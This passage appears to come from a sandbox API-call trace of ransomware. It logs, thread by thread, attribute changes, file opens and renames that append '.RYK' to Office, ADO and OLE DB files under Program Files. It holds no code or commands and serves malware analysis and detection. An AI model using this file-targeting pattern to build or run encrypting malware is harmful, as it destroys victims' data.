	[0174.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 587
	os_tid = 0x10d4

	[0174.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", dwFileAttributes=0x80) returned 0
	[0174.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.980] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 588
	os_tid = 0x10d8

	[0174.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX", dwFileAttributes=0x80) returned 0
	[0174.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 589
	os_tid = 0x10dc

	[0175.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config", dwFileAttributes=0x80) returned 0
	[0175.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.888] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 590
	os_tid = 0x10e0

	[0175.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb", dwFileAttributes=0x80) returned 0
	[0175.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 591
	os_tid = 0x10e4

	[0175.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb", dwFileAttributes=0x80) returned 0
	[0175.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.893] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 592
	os_tid = 0x10e8

	[0175.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", dwFileAttributes=0x80) returned 0
	[0175.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 595
	os_tid = 0x10f8

	[0175.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x80) returned 0
	[0175.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.898] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), lpNewFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.RYK" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 596
	os_tid = 0x10fc

	[0175.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc", dwFileAttributes=0x80) returned 0
	[0175.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.903] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.903] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 597
	os_tid = 0x1100

	[0175.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc", dwFileAttributes=0x80) returned 0
	[0175.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.906] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 598
	os_tid = 0x1104

	[0175.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb", dwFileAttributes=0x80) returned 0
	[0175.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 599
	os_tid = 0x1108

	[0175.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb", dwFileAttributes=0x80) returned 0
	[0175.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.913] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 600
	os_tid = 0x110c

	[0175.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb", dwFileAttributes=0x80) returned 0
	[0175.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 601
	os_tid = 0x1110

	[0175.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", dwFileAttributes=0x80) returned 0
	[0175.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 602
	os_tid = 0x1114

	[0175.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", dwFileAttributes=0x80) returned 0
	[0175.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 603
	os_tid = 0x1118

	[0175.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", dwFileAttributes=0x80) returned 0
	[0175.920] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 604
	os_tid = 0x111c

	[0175.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", dwFileAttributes=0x80) returned 0
	[0175.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 605
	os_tid = 0x1120

	[0175.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb", dwFileAttributes=0x80) returned 0
	[0175.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.929] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.RYK" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 608
	os_tid = 0x1138

	[0176.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc", dwFileAttributes=0x80) returned 0
	[0177.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 609
	os_tid = 0x113c

	[0176.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc", dwFileAttributes=0x80) returned 0
	[0177.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 615
	os_tid = 0x1160

	[0177.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg", dwFileAttributes=0x80) returned 0
	[0178.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 616
	os_tid = 0x1164

	[0177.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", dwFileAttributes=0x80) returned 0
	[0178.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.RYK" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 629
	os_tid = 0x11b0

	[0179.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", dwFileAttributes=0x80) returned 0
	[0179.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 630
	os_tid = 0x11b4

	[0179.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", dwFileAttributes=0x80) returned 0
	[0179.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.569] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 631
	os_tid = 0x11b8

	[0179.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", dwFileAttributes=0x80) returned 0
	[0180.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.066] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 633
	os_tid = 0x11c0

	[0179.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", dwFileAttributes=0x80) returned 0
	[0179.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 634
	os_tid = 0x11c4

	[0179.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", dwFileAttributes=0x80) returned 0
	[0180.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.068] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 635
	os_tid = 0x11c8

	[0179.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", dwFileAttributes=0x80) returned 0
	[0180.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.RYK" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 636
	os_tid = 0x11cc

	[0179.580] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", dwFileAttributes=0x80) returned 0
	[0180.072] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
